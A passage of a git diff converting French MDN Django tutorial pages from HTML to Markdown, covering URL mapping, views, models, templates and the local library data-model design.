views.best), -] -</pre> +### Envoyer la requête à la bonne vue (urls.py) -<p>L'objet <code>urlpatterns</code> est une liste de fonctions <code>path()</code> et/ou <code>re_path()</code>(les listes en Python sont définies en utilisant des crochets), où des éléments sont séparés par des virgules et peuvent avoir une <a href="https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">virgule de traîne optionnelle</a>. Par exemple : <code>[item1, item2, item3,]</code>).</p> +Le mapper URL est généralement stocké dans un fichier nommé **urls.py**. Dans l'exemple ci-dessous, le mapper (`urlpatterns`) définit une liste de mappings entre des *routes* (des *patterns* d'URL spécifiques*)* et leur fonction de vue correspondante. Si une requête HTTP est reçue dont l'URL correspond à un pattern spécifié, la fonction vue associée sera alors appelée et passée dans la requête. -<p>Le premier argument de chaque méthode est une route (pattern) qui sera reconnu.<br> - La méthode <code>path()</code> utilise des chevrons pour définir les parties de l'URL qui seront capturées et passées dans les fonctions vues comme arguments nommés. La fonction <code>re_path()</code> utilise une approche de correspondance de pattern flexible, connue sous le nom d'expression régulière. Nous parlerons de ces dernières dans un prochain article !</p> + urlpatterns = [ + path('admin/', admin.site.urls), + path('book/<int:id>/', views.book-detail, name='book-detail'), + path('catalog/', include('catalog.urls')), + re_path(r'^([0-9]+)/$', views.best), + ] -<p>Le second argument est une autre fonction qui sera appelée quand le pattern sera reconnu. La notation <code>views.book-detail</code> indique que la fonction s'appelle <code>book-detail()</code> , et qu'elle se trouve dans un module appelé <code>views</code> (i.e. dans un fichier intitulé <code>views.py</code>)</p> +L'objet `urlpatterns` est une liste de fonctions `path()` et/ou `re_path()`(les listes en Python sont définies en utilisant des crochets), où des éléments sont séparés par des virgules et peuvent avoir une [virgule de traîne optionnelle](https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples). Par exemple : `[item1, item2, item3,]`). -<h3 id="Traiter_la_requête_views.py">Traiter la requête (views.py)</h3> +Le premier argument de chaque méthode est une route (pattern) qui sera reconnu. +La méthode `path()` utilise des chevrons pour définir les parties de l'URL qui seront capturées et passées dans les fonctions vues comme arguments nommés. La fonction `re_path()` utilise une approche de correspondance de pattern flexible, connue sous le nom d'expression régulière. Nous parlerons de ces dernières dans un prochain article ! -<p>Les vues sont le coeur des applications web. Elles reçoivent des requêtes HTTP de clients web et renvoient des réponses HTTP. Entretemps, elles mobilisent les autres ressources du framework pour accéder aux bases de données, préparer le rendu des templates, etc.</p> +Le second argument est une autre fonction qui sera appelée quand le pattern sera reconnu. La notation `views.book-detail` indique que la fonction s'appelle `book-detail()` , et qu'elle se trouve dans un module appelé `views` (i.e. dans un fichier intitulé `views.py`) -<p>L'exemple ci-dessous montre une fonction vue minimale <code>index()</code>, qui pourrait être appelée par notre mapper URL de la section précédente. Comme toutes les fonctions vues, elle reçoit un objet <code>HttpRequest</code> comme paramètre (<code>request</code>) et renvoie un objet <code>HttpResponse</code>. Dans notre cas on ne fait rien de spécial avec la requête; et notre réponse ne renvoie qu'une chaîne de caractères brute. Nous vons montrerons une requête plus intéressante dans une autre section.</p> +### Traiter la requête (views.py) -<pre class="brush: python">## nom du fichier : view.py (fonction vue Django) +Les vues sont le coeur des applications web. Elles reçoivent des requêtes HTTP de clients web et renvoient des réponses HTTP. Entretemps, elles mobilisent les autres ressources du framework pour accéder aux bases de données, préparer le rendu des templates, etc. + +L'exemple ci-dessous montre une fonction vue minimale `index()`, qui pourrait être appelée par notre mapper URL de la section précédente. Comme toutes les fonctions vues, elle reçoit un objet `HttpRequest` comme paramètre (`request`) et renvoie un objet `HttpResponse`. Dans notre cas on ne fait rien de spécial avec la requête; et notre réponse ne renvoie qu'une chaîne de caractères brute. Nous vons montrerons une requête plus intéressante dans une autre section. + +```python +## nom du fichier : view.py (fonction vue Django) from django.http import HttpResponse @@ -141,29 +146,23 @@ def index(request): # réalise des opérations en utilisant les informations de la requête # Renvoie HttpResponse return HttpResponse('Hello from Django!') -</pre> - -<div class="note"> -<p><strong>Note :</strong> Un peu de Python :</p> +``` -<ul> - <li>Les <a href="https://docs.python.org/3/tutorial/modules.html">modules Python</a> sont des librairies de fonctions, stockés dans des fichiers séparés que l'on peut vouloir utiliser dans notre code. Ici, nous importons l'objet <code>HttpResponse</code> du module <code>django.http</code> pour qu'on puisse l'utiliser dans notre vue : <code>from django.http import HttpResponse</code> . Il y a d'autres façons d'importer quelques objets (ou tous les objets) d'un module.</li> - <li>Les fonctions sont déclarées en utilisant le mot-clé <code>def</code> comme indiqué ci-dessus, avec des paramètres nommés listés entre parenthèses après le nom de la fonction; la ligne se termine ensuite par deux points. Notez que les lignes suivantes sont <strong>indentées</strong>. L'indentation est importante, car elle spécifie que les lignes de code sont contenues dans un bloc particulier (l'indentation obligatoire est un élément clé de Python, et une des raisons pour lesquelles le code Python est si simple à lire).</li> -</ul> -</div> +> **Note :** Un peu de Python : +> +> - Les [modules Python](https://docs.python.org/3/tutorial/modules.html) sont des librairies de fonctions, stockés dans des fichiers séparés que l'on peut vouloir utiliser dans notre code. Ici, nous importons l'objet `HttpResponse` du module `django.http` pour qu'on puisse l'utiliser dans notre vue : `from django.http import HttpResponse` . Il y a d'autres façons d'importer quelques objets (ou tous les objets) d'un module. +> - Les fonctions sont déclarées en utilisant le mot-clé `def` comme indiqué ci-dessus, avec des paramètres nommés listés entre parenthèses après le nom de la fonction; la ligne se termine ensuite par deux points. Notez que les lignes suivantes sont **indentées**. L'indentation est importante, car elle spécifie que les lignes de code sont contenues dans un bloc particulier (l'indentation obligatoire est un élément clé de Python, et une des raisons pour lesquelles le code Python est si simple à lire). -<ul> -</ul> +Les vues sont généralement stockées dans un fichier nommé **views.py**. -<p>Les vues sont généralement stockées dans un fichier nommé <strong>views.py</strong>.</p> +### Définir les modèles de données (models.py) -<h3 id="Définir_les_modèles_de_données_models.py">Définir les modèles de données (models.py)</h3> +Les applications web Django gèrent et requêtent les données via des objets Python appelés modèles. Les modèles définissent la structure des données stockées, ce qui inclut le champ *types* ainsi qu'au besoin leur taille maximum, les valeurs par défaut, les options de listes pouvant être sélectionnées, le texte d'aide pour la documentation — vous pouvez choisir ce dont vous avez besoin par rapport aux spécifications de votre projet. Une fois que vous avez choisi la base de données que vous souhaitez utiliser, vous n'avez pas du tout besoin de communiquer avec elle directement — vous n'avez qu'à écrire la structure de votre modèle, Django s'occupe du sale boulot de la communication avec la base de données pour vous. -<p>Les applications web Django gèrent et requêtent les données via des objets Python appelés modèles. Les modèles définissent la structure des données stockées, ce qui inclut le champ <em>types</em> ainsi qu'au besoin leur taille maximum, les valeurs par défaut, les options de listes pouvant être sélectionnées, le texte d'aide pour la documentation — vous pouvez choisir ce dont vous avez besoin par rapport aux spécifications de votre projet. Une fois que vous avez choisi la base de données que vous souhaitez utiliser, vous n'avez pas du tout besoin de communiquer avec elle directement — vous n'avez qu'à écrire la structure de votre modèle, Django s'occupe du sale boulot de la communication avec la base de données pour vous.</p> +L'extrait de code ci-dessous montre un modèle Django très simple pour un objet `Team`. La classe `Team` est dérivée de la classe Django `models.Model`. Elle définit le nom et le niveau de l'équipe comme des chaînes de caractères et elle spécifie le nombre maximum de caractères pouvant être stockés pour chaque enregistrement. Le champ `team_level` peut avoir plusieurs valeurs, donc nous le définissons comme une liste de choix, puis on fournit à la classe un mapping entre les choix qui seront affichés et les données stockées, avec une valeur par défaut. -<p>L'extrait de code ci-dessous montre un modèle Django très simple pour un objet <code>Team</code>. La classe <code>Team</code> est dérivée de la classe Django <code>models.Model</code>. Elle définit le nom et le niveau de l'équipe comme des chaînes de caractères et elle spécifie le nombre maximum de caractères pouvant être stockés pour chaque enregistrement. Le champ <code>team_level</code> peut avoir plusieurs valeurs, donc nous le définissons comme une liste de choix, puis on fournit à la classe un mapping entre les choix qui seront affichés et les données stockées, avec une valeur par défaut. </p> - -<pre class="brush: python"># nom du fichier : models.py +```python +# nom du fichier : models.py from django.db import models @@ -177,101 +176,93 @@ class Team(models.Model): ... # lister les autres niveaux d'équipes ) team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') -</pre> - -<div class="note"> -<p><strong>Note :</strong> Un peu de Python :</p> +``` -<ul> - <li>Python supporte la "programmation orientée-objet", un type de programmation où l'on organise notre code en objets, ce qui inclut les données et fonctions liées qui agiront sur les données. Les objets peuvent être hérités/étendus/dérivés d'autres objets, ce qui permet à ces objets de partager un comportement commun. En Python, on utilise le mot-clé <code>class</code> pour définir le "squelette" d'un objet. On peut créer plusieurs <em>instances</em> spécifiques de ce type d'objet d'après le modèle d'une classe.<br> - <br> - Ainsi par exemple, nous avons ici une classe <code>Team</code>, dérivée de la classe <code>Model</code>. Cela signifie que c'est un modèle, et qu'elle contiendra toutes les méthodes d'un modèle, mais qu'on peut aussi lui donner des caractéristiques spécifiques. Dans notre modèle, nous définissons les champs dont aura besoin notre base de données, en leur donnant des noms spécifiques. Django utilisera ces définitions, ce qui inclut aussi le nom des champs, pour créer la base de données sous-jacente.</li> -</ul> -</div> +> **Note :** Un peu de Python : +> +> - Python supporte la "programmation orientée-objet", un type de programmation où l'on organise notre code en objets, ce qui inclut les données et fonctions liées qui agiront sur les données. Les objets peuvent être hérités/étendus/dérivés d'autres objets, ce qui permet à ces objets de partager un comportement commun. En Python, on utilise le mot-clé `class` pour définir le "squelette" d'un objet. On peut créer plusieurs *instances* spécifiques de ce type d'objet d'après le modèle d'une classe. +> +> Ainsi par exemple, nous avons ici une classe `Team`, dérivée de la classe `Model`. Cela signifie que c'est un modèle, et qu'elle contiendra toutes les méthodes d'un modèle, mais qu'on peut aussi lui donner des caractéristiques spécifiques. Dans notre modèle, nous définissons les champs dont aura besoin notre base de données, en leur donnant des noms spécifiques. Django utilisera ces définitions, ce qui inclut aussi le nom des champs, pour créer la base de données sous-jacente. -<h3 id="Requêter_les_données_views.py">Requêter les données (views.py)</h3> +### Requêter les données (views.py) -<p>Le modèle Django fournit une API de requête simplifiée qui nous permet de faire des recherches dans une base de données. Cette API peut inclure plusieurs champs à la fois en supportant plusieurs critères (e.g. exactement, insensible à la casse, supérieur à, etc.), et peut supporter des déclarations complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'équipe commençant par "Fr" ou se terminant par "al"). </p> +Le modèle Django fournit une API de requête simplifiée qui nous permet de faire des recherches dans une base de données. Cette API peut inclure plusieurs champs à la fois en supportant plusieurs critères (e.g. exactement, insensible à la casse, supérieur à, etc.), et peut supporter des déclarations complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'équipe commençant par "Fr" ou se terminant par "al"). -<p>L'extrait de code ci-dessous montre une fonction vue (gestionnaire de ressources) affichant toutes nos équipes U09. La ligne en gras montre comment on peut utiliser l'API de requête pour filtrer tous les enregistrements où le champ <code>team_level</code> comprend strictement le texte 'U09' (notez comment ce critère est passé dans la fonction <code>filter()</code> comme argument, où le nom du champ et le type de correspondance sont séparés par un double underscore : <strong>team_level__exact</strong>).</p> +L'extrait de code ci-dessous montre une fonction vue (gestionnaire de ressources) affichant toutes nos équipes U09. La ligne en gras montre comment on peut utiliser l'API de requête pour filtrer tous les enregistrements où le champ `team_level` comprend strictement le texte 'U09' (notez comment ce critère est passé dans la fonction `filter()` comme argument, où le nom du champ et le type de correspondance sont séparés par un double underscore : **team_level\_\_exact**). -<pre class="brush: python">## nom du fichier : views.py +```python +## nom du fichier : views.py from django.shortcuts import render from .models import Team def index(request): - <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + list_teams = Team.objects.filter(team_level__exact="U09") context = {'youngest_teams': list_teams} return render(request, '/best/index.html', context) -</pre> - -<dl> -</dl> +``` -<p>Cette fonction utilise la fonction <code>render()</code> pour créer la <code>HttpResponse</code> qui est renvoyée au navigateur. Cette fonction est un <em>raccourci</em>; elle créée un fichier HTML en combinant un template HTML spécifique et des données à insérer dans le template (fournies dans la variable appelée "<code>context</code>"). Dans la prochaine section, nous vous montrons comment des données sont insérées dans le template pour générer le HTML.</p> +Cette fonction utilise la fonction `render()` pour créer la `HttpResponse` qui est renvoyée au navigateur. Cette fonction est un _raccourci_; elle créée un fichier HTML en combinant un template HTML spécifique et des données à insérer dans le template (fournies dans la variable appelée "`context`"). Dans la prochaine section, nous vous montrons comment des données sont insérées dans le template pour générer le HTML. -<h3 id="Renvoyer_les_données_templates_HTML">Renvoyer les données (templates HTML)</h3> +### Renvoyer les données (templates HTML) -<p>Les systèmes template vous permettent de spécifier la structure d'un document en output, en utilisant des paramètres fictifs qui seront substitués par les données lorsque la page est générée. Les templates sont souvent utilisées pour créer du HTML, mais ils peuvent aussi être utilisées pour créer d'autres types de documents. Django supporte à la fois son système natif de template ainsi qu'une autre librairie Python populaire prête à l'emploi appelée Jinja2 (il peut aussi supporter d'autres systèmes au besoin). </p> +Les systèmes template vous permettent de spécifier la structure d'un document en output, en utilisant des paramètres fictifs qui seront substitués par les données lorsque la page est générée. Les templates sont souvent utilisées pour créer du HTML, mais ils peuvent aussi être utilisées pour créer d'autres types de documents. Django supporte à la fois son système natif de template ainsi qu'une autre librairie Python populaire prête à l'emploi appelée Jinja2 (il peut aussi supporter d'autres systèmes au besoin). -<p>L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML de la section précédente une fois appelé par la fonction <code>render().</code> Ce template a été écrit avec l'hypothèse qu'il aurait accès à une liste de variables appelées <code>youngest_teams</code> lorsqu'il est généré (contenu dans la variable <code>context</code> dans la fonction <code>render()</code> ci-dessus). Dans le squelette HTML nous avons une expression qui vérifie tout d'abord que la variable <code>youngest_teams</code> existe, puis itère dessus dans une boucle <code>for</code> . À chaque itération, le template affiche la valeur du <code>team_name</code> de chaque équipe dans un élément {{htmlelement("li")}}.</p> +L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML de la section précédente une fois appelé par la fonction `render().` Ce template a été écrit avec l'hypothèse qu'il aurait accès à une liste de variables appelées `youngest_teams` lorsqu'il est généré (contenu dans la variable `context` dans la fonction `render()` ci-dessus). Dans le squelette HTML nous avons une expression qui vérifie tout d'abord que la variable `youngest_teams` existe, puis itère dessus dans une boucle `for` . À chaque itération, le template affiche la valeur du `team_name` de chaque équipe dans un élément {{htmlelement("li")}}. -<pre class="brush: python">## nom du fichier : best/templates/best/index.html +```python +## nom du fichier : best/templates/best/index.html -<!DOCTYPE html> -<html lang="en"> -<body> +<!DOCTYPE html> +<html lang="en"> +<body> {% if youngest_teams %} - <ul> + <ul> {% for team in youngest_teams %} - <li>\{\{ team.team_name \}\}</li> + <li>\{\{ team.team_name \}\}</li> {% endfor %} - </ul> + </ul> {% else %} - <p>No teams are available.</p> + <p>No teams are available.</p> {% endif %} -</body> -</html></pre> +</body> +</html> +``` -<h2 id="Que_pouvez-vous_faire_dautre">Que pouvez-vous faire d'autre ?</h2> +## Que pouvez-vous faire d'autre ? -<p>Les sections précédentes présentent les caractéristiques principales que vous utiliserez dans presque toutes vos applications web : mapping URL, vues, modèles et templates. Parmi les autres caractéristiques offertes par Django, on peut aussi trouver :</p> +Les sections précédentes présentent les caractéristiques principales que vous utiliserez dans presque toutes vos applications web : mapping URL, vues, modèles et templates. Parmi les autres caractéristiques offertes par Django, on peut aussi trouver : -<ul> - <li><strong>Formulaires </strong>: Les formulaires HTML sont utilisés pour collecter des données utilisateurs qui seront traitées sur le serveur. Django simplifie la création, la validation et le traitement des formulaires.</li> - <li><strong>Authentification et permissions des utilisateurs</strong>: Django inclut un système d'authentification utilisateur et de gestion des permissions robuste créé avec la sécurité comme priorité lors de sa conception. </li> - <li><strong>Cache </strong>: Générer du contenu en dynamique demande bien plus de ressources computationnelles (et est plus lent) que de servir du contenu statique. Django fournit un système de cache flexible qui vous permet de stocker toute ou une partie d'une page afin qu'elle ne soit re-générée que lorsque c'est nécessaire.</li> - <li><strong>Administration du site </strong>: L'administration du site avec Django est incluse par défaut lorsque vous créez une application en utilisant le squelette de base. Django permet de créer très simplement une page d'administration où les administrateurs peuvent créer, éditer et voir n'importe quel modèle de données sur votre site.</li> - <li><strong>Sérialisation des données </strong>: Django permet de simplifier la sérialisation et de servir vos données en XML ou en JSON. Cela peut être utile si vous créez un service web (un site web dont le seul but est de servir des données qui seront utilisées par d'autres applications ou sites, mais n'affiche rien par lui-même), ou quand vous créez un site web où le code côté client s'occupe d'afficher les données.</li> -</ul> +- **Formulaires** : Les formulaires HTML sont utilisés pour collecter des données utilisateurs qui seront traitées sur le serveur. Django simplifie la création, la validation et le traitement des formulaires. +- **Authentification et permissions des utilisateurs**: Django inclut un système d'authentification utilisateur et de gestion des permissions robuste créé avec la sécurité comme priorité lors de sa conception. +- **Cache** : Générer du contenu en dynamique demande bien plus de ressources computationnelles (et est plus lent) que de servir du contenu statique. Django fournit un système de cache flexible qui vous permet de stocker toute ou une partie d'une page afin qu'elle ne soit re-générée que lorsque c'est nécessaire. +- **Administration du site** : L'administration du site avec Django est incluse par défaut lorsque vous créez une application en utilisant le squelette de base. Django permet de créer très simplement une page d'administration où les administrateurs peuvent créer, éditer et voir n'importe quel modèle de données sur votre site. +- **Sérialisation des données** : Django permet de simplifier la sérialisation et de servir vos données en XML ou en JSON. Cela peut être utile si vous créez un service web (un site web dont le seul but est de servir des données qui seront utilisées par d'autres applications ou sites, mais n'affiche rien par lui-même), ou quand vous créez un site web où le code côté client s'occupe d'afficher les données. -<h2 id="Sommaire">Sommaire</h2> +## Sommaire -<p>Félicitations, vous avez atteint la première étape dans votre voyage avec Django ! Vous devriez désormais comprendre les principaux bénéfices de Django, en savoir un peu plus sur son histoire, et grossièrement à quoi ressemblent chaque partie de votre application Django. Vous devriez aussi avoir appris 2-3 choses à propos du langage de programmation Python, ce qui inclut la syntaxe des listes, fonctions et classes.</p> +Félicitations, vous avez atteint la première étape dans votre voyage avec Django ! Vous devriez désormais comprendre les principaux bénéfices de Django, en savoir un peu plus sur son histoire, et grossièrement à quoi ressemblent chaque partie de votre application Django. Vous devriez aussi avoir appris 2-3 choses à propos du langage de programmation Python, ce qui inclut la syntaxe des listes, fonctions et classes. -<p>Vous avez déjà vu un peu de vrai code Django ci-dessus, mais à la différence du code côté client, vous aurez besoin de configurer un environnement de développement pour l'utiliser. C'est notre prochaine étape.</p> +Vous avez déjà vu un peu de vrai code Django ci-dessus, mais à la différence du code côté client, vous aurez besoin de configurer un environnement de développement pour l'utiliser. C'est notre prochaine étape. -<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> +{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accueil</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accueil](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/models/index.md b/files/fr/learn/server-side/django/models/index.md index 18311a5a9f..ee078309c4 100644 --- a/files/fr/learn/server-side/django/models/index.md +++ b/files/fr/learn/server-side/django/models/index.md @@ -3,282 +3,292 @@ title: 'Django didactique Section 3: Utilisation des modèles de données' slug: Learn/Server-side/Django/Models translation_of: Learn/Server-side/Django/Models --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div> - -<p>Ce troisième article est consacré aux modèles de données pour les sites web générés avec Django. Après une définition et une présentation de la notion de modèle de données, il explique comment les déclarer, choisir le type de champs et quelques méthodes d'accès au modèle de données via Django.</p> +Ce troisième article est consacré aux modèles de données pour les sites web générés avec Django. Après une définition et une présentation de la notion de modèle de données, il explique comment les déclarer, choisir le type de champs et quelques méthodes d'accès au modèle de données via Django. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis:</th> - <td> - <p><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web.</a></p> - </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td> - <p>Concevoir et créer vos propres modèles de données et choisir les attributs idoines.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis:</th> + <td> + <p> + <a href="/fr/docs/Learn/Server-side/Django/skeleton_website" + >Django didactique Section 2: Créer le squelette du site web.</a + > + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + <p> + Concevoir et créer vos propres modèles de données et choisir les + attributs idoines. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Survol">Survol</h2> +## Survol -<p>Les applications web Django donnent accès aux données enregistrées dans une base à l'aide d'une classe d'objets <em>models</em>. Une classe d'objet héritée de <em>models</em> définit une <em>structure de données</em> ainsi que le type, la taille et la nature des champs de cette structure de données. Cela inclut aussi la valeur par défaut, les options ou listes d'option, les informations pour l'aide en ligne ou la définition des étiquettes des champs des formulaires. La définition du modèle de données est une abstraction indépendante du gestionnaire de base de données associé ; une fois choisi le gestionnaire est sollicité par le biais des objets Python/Django et vous n'interagissez pas directement avec lui. Votre rôle est alors de décrire le modèle de données par le biais d'objets appropriés et Django prend en charge les communications avec la base de données.</p> +Les applications web Django donnent accès aux données enregistrées dans une base à l'aide d'une classe d'objets _models_. Une classe d'objet héritée de _models_ définit une _structure de données_ ainsi que le type, la taille et la nature des champs de cette structure de données. Cela inclut aussi la valeur par défaut, les options ou listes d'option, les informations pour l'aide en ligne ou la définition des étiquettes des champs des formulaires. La définition du modèle de données est une abstraction indépendante du gestionnaire de base de données associé ; une fois choisi le gestionnaire est sollicité par le biais des objets Python/Django et vous n'interagissez pas directement avec lui. Votre rôle est alors de décrire le modèle de données par le biais d'objets appropriés et Django prend en charge les communications avec la base de données. -<p>Ce chapitre vous montre sur la base du <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">site web d'une bibliothèque locale</a> comment concevoir, créer et manipuler les données par l'intermédiaire du modèle de données.</p> +Ce chapitre vous montre sur la base du [site web d'une bibliothèque locale](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) comment concevoir, créer et manipuler les données par l'intermédiaire du modèle de données. -<h2 id="Concevoir_le_modèle_de_données_de_la_bibliothèque_locale">Concevoir le modèle de données de la bibliothèque locale</h2> +## Concevoir le modèle de données de la bibliothèque locale -<p>Une étape préliminaire à la phase de développement est de réfléchir aux données (et donc aux structures de données) nécessaires et utiles pour le projet et aux relations entre-elles.</p> +Une étape préliminaire à la phase de développement est de réfléchir aux données (et donc aux structures de données) nécessaires et utiles pour le projet et aux relations entre-elles. -<p>Nous aurons besoin de conserver des données sur des livres (titre, résumé, auteur, version original, catégorie, ISBN), le nombre disponible en stock (donc un identifiant unique par livre et le statut du prêt). Nous aurons probablement besoin d'enregistrer des informations sur les auteurs qui ne seront pas uniquement le nom ainsi que gérer l'homonymie. Enfin, il sera nécessaire d'ordonner et de trier ces informations par titre, auteur, langue ou catégorie.</p> +Nous aurons besoin de conserver des données sur des livres (titre, résumé, auteur, version original, catégorie, ISBN), le nombre disponible en stock (donc un identifiant unique par livre et le statut du prêt). Nous aurons probablement besoin d'enregistrer des informations sur les auteurs qui ne seront pas uniquement le nom ainsi que gérer l'homonymie. Enfin, il sera nécessaire d'ordonner et de trier ces informations par titre, auteur, langue ou catégorie. -<p>En conception, il est judicieux et recommandé de décrire chacun des objets séparément. Dans le cas présent, il nous faudra un objet pour les livres, les copies des livres et les auteurs.</p> +En conception, il est judicieux et recommandé de décrire chacun des objets séparément. Dans le cas présent, il nous faudra un objet pour les livres, les copies des livres et les auteurs. -<p>Vous pourriez aussi utiliser les modèles pour définir des listes d'options (comme une liste déroulante pour un choix), plutôt que d'avoir à implémenter avec le code du site web ces choix. C'est d'ailleurs une recommandation à considérer si les options ne sont pas parfaitement connues à l'avance. Ce sera typiquement le cas des catégories de livres (science fiction, poésie, littérature étrangère, etc.) ou des langues des version originales (Français, Anglais, Espagnol, etc.).</p> +Vous pourriez aussi utiliser les modèles pour définir des listes d'options (comme une liste déroulante pour un choix), plutôt que d'avoir à implémenter avec le code du site web ces choix. C'est d'ailleurs une recommandation à considérer si les options ne sont pas parfaitement connues à l'avance. Ce sera typiquement le cas des catégories de livres (science fiction, poésie, littérature étrangère, etc.) ou des langues des version originales (Français, Anglais, Espagnol, etc.). -<p>Le choix du modèle étant posé, nous avons à considérer les relations entre les objets. Django permet d'établir trois types de relation : les relations un à un qui mettent en relation un et un seul objet avec un autre (<code>OneToOneField</code>), les relations un à n qui partage l'appartenance d'un objet à avec d'autres (<code>ForeignKey</code>) et les relations n à n qui associent des groupes d'objets entre-eux (<code>ManyToManyField</code>).</p> +Le choix du modèle étant posé, nous avons à considérer les relations entre les objets. Django permet d'établir trois types de relation : les relations un à un qui mettent en relation un et un seul objet avec un autre (`OneToOneField`), les relations un à n qui partage l'appartenance d'un objet à avec d'autres (`ForeignKey`) et les relations n à n qui associent des groupes d'objets entre-eux (`ManyToManyField`). -<p>Avec ces éléments présents à l'esprit, le diagramme de classes UML ci-dessous décrit les objets de la bibliothèque.</p> +Avec ces éléments présents à l'esprit, le diagramme de classes UML ci-dessous décrit les objets de la bibliothèque. -<p><img alt="LocalLibrary Model UML" src="local_library_model_uml.png"></p> + -<p>Le modèle ainsi créé, décrit l'objet livre - <em>Book</em> - avec une description générique d'un livre, la copie d'un livre - <em>BookInstance</em> - avec l'état d'un copie physique d'un livre et de sa disponibilité, et l'objet auteur - <em>Author</em>. Les genres des collections pouvant varier, il est plus élégant de concevoir une classe d'objets dédiée comme pour les langues. Considérant que le statut de prêt ne changera pas, il est décidé que le traiter dans le code - <code>BookInstance:status</code> sera géré dans le code Django <code>LOAN_STATUS</code>. Dans le diagramme de classe, les caractéristiques de chacun des attributs et méthodes sont précisées pour plus de clarté du travail à réaliser.</p> +Le modèle ainsi créé, décrit l'objet livre - _Book_ - avec une description générique d'un livre, la copie d'un livre - _BookInstance_ - avec l'état d'un copie physique d'un livre et de sa disponibilité, et l'objet auteur - _Author_. Les genres des collections pouvant varier, il est plus élégant de concevoir une classe d'objets dédiée comme pour les langues. Considérant que le statut de prêt ne changera pas, il est décidé que le traiter dans le code - `BookInstance:status` sera géré dans le code Django `LOAN_STATUS`. Dans le diagramme de classe, les caractéristiques de chacun des attributs et méthodes sont précisées pour plus de clarté du travail à réaliser. -<p>Le diagramme met aussi en évidence les relations entre les objets et la cardinalité des relations. La cardinalité est représentée par les nombres entre crochet avec, si nécessaire, un minimum et un maximum. Par exemple, un ouvrage a, au moins un genre ([1..*]) alors qu'un genre peut ne pas référencer un livre ([0..*]) ce qui se traduira en définition des objets dans models.py.</p> +Le diagramme met aussi en évidence les relations entre les objets et la cardinalité des relations. La cardinalité est représentée par les nombres entre crochet avec, si nécessaire, un minimum et un maximum. Par exemple, un ouvrage a, au moins un genre (\[1..\*]) alors qu'un genre peut ne pas référencer un livre 